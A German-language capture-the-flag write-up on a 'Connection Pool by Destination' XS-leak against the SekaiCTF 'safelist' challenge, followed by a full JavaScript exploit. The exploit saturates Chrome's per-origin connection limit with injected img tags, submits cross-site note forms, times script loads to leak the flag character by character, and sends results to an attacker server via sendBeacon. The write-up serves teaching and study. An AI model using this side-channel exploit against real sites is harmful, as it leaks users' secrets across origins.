Connection Pool by Destination Example
In diesem Exploit schlägt @terjanq eine weitere Lösung für die auf der folgenden Seite erwähnte Herausforderung vor:
pageConnection Pool by Destination ExampleSchauen wir uns an, wie dieser Exploit funktioniert:
Der Angreifer fügt eine Notiz mit so vielen
<img
-Tags hinzu, die/js/purify.js
laden, wie möglich (mehr als 6, um den Ursprung zu blockieren).Dann wird der Angreifer die Notiz mit Index 1 entfernen.
Anschließend wird der Angreifer [den Bot dazu bringen, die Seite zu laden] und eine Anfrage an
victim.com/js/purify.js
senden, die er zeitlich messen wird.Wenn die Zeit länger ist, befand sich die Injektion in der verbleibenden Notiz, wenn die Zeit kürzer ist, befand sich die Flagge darin.
Um ehrlich zu sein, beim Lesen des Skripts habe ich einen Teil vermisst, in dem der Angreifer den Bot dazu bringt, die Seite zu laden, um die img-Tags auszulösen, ich sehe nichts Derartiges im Code.
```html const SITE_URL = 'https://safelist.ctf.sekai.team/'; const PING_URL = 'https://myserver'; function timeScript(){ return new Promise(resolve => { var x = document.createElement('script'); x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); var start = Date.now(); x.onerror = () => { console.log(`Time: ${Date.now() - start}`); //Time request resolve(Date.now() - start); x.remove(); } document.body.appendChild(x); }); } add_note = async (note) => { let x = document.createElement('form') x.action = SITE_URL + "create" x.method = "POST" x.target = "xxx"
let i = document.createElement("input"); i.type = "text" i.name = "text" i.value = note x.appendChild(i) document.body.appendChild(x) x.submit() }
remove_note = async (note_id) => { let x = document.createElement('form') x.action = SITE_URL+"remove" x.method = "POST" x.target = "_blank"
let i = document.createElement("input"); i.type = "text" i.name = "index" i.value = note_id x.appendChild(i) document.body.appendChild(x) x.submit() }
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); // }zyxwvutsrqponmlkjihgfedcba_ const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' var prefix = 'SEKAI{xsleakyay'; const TIMEOUT = 500; async function checkLetter(letter){ // Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js // Depending whether we found flag's letter it will either load the images or not. // With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. const payload = ${prefix}${letter}
+ Array.from(Array(78)).map((e,i)=><img/src=/js/purify.js?${i}>
).join(''); await add_note(payload); await sleep(TIMEOUT); await timeScript(); await remove_note(1); //Now, only the note with the flag or with the injection existsh await sleep(TIMEOUT); const time = await timeScript(); //Find out how much a request to the same origin takes navigator.sendBeacon(PING_URL, [letter,time]); if(time>100){ return 1; } return 0; } window.onload = async () => { navigator.sendBeacon(PING_URL, 'start'); // doesnt work because we are removing flag after success. // while(1){ for(const letter of alphabet){ if(await checkLetter(letter)){ prefix += letter; navigator.sendBeacon(PING_URL, prefix); break; } } // } };
Last updated